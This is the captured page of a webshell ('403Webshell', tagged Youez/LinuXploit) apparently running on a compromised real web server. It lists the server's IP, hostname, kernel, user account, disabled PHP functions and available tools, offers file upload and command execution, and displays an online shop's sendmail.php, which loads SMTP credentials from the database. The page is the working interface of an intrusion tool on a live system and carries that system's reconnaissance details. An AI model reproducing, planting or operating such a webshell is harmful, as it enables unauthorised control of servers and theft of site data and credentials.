403Webshell
Server IP : 51.222.109.124  /  Your IP : 216.73.217.148
Web Server : Apache
System : Linux scl07net.netdom.salvador.br 3.10.0-962.3.2.lve1.5.44.3.el7.x86_64 #1 SMP Mon Feb 22 04:35:33 EST 2021 x86_64
User : vertra94 ( 1153)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/vertra94/public_html/loja/app/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/vertra94/public_html/loja/app/sendmail.php
<?php

class Sendmail extends PHPFrodo {

    public function __construct() {
        parent:: __construct();
    }

    public function _runtest($n = array()) {
        $this->select()->from('smtp')->execute();
        if ($this->result()) {
            $m = (object) $this->data[0];
            if ($m->smtp_bcc != "") {
                echo $m->smtp_bcc;
            }
        }
    }

    public function sender($n = array()) {
        $this->select()->from('smtp')->execute();
        if ($this->result()) {
            $m = (object) $this->data[0];
            $this->helper('mail');
            global $mail;
            $mail->Port = $m->smtp_port;
            $mail->Host = "$m->smtp_host";
            $mail->Username = $m->smtp_username;
            $mail->Password = $m->smtp_password;
            $mail->From = $m->smtp_username;
            $mail->FromName = ($m->smtp_fromname);
            $mail->Subject = $n['subject'];
            $mail->Body = $n['body'];
            $mail->ClearAllRecipients();
            if ($m->smtp_bcc != "") {
                $mail->AddBCC($m->smtp_bcc);
            }

            if (isset($n['email'])) {
                $mail->AddAddress($n['email']);
            } else {
                $mail->AddAddress($m->smtp_username);
            }
            //$mail->AddReplyTo( $m->smtp_replyto );
            if (@$mail->Send()) {
                return true;
            } else {
                return false;
                //echo "Erro: $mail->ErrorInfo <br/> Provaveis causas: <br> - E-mail, Senha, Porta ou Servidor SMTP incorretos.";
            }
            $mail->ClearAllRecipients();
        }
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit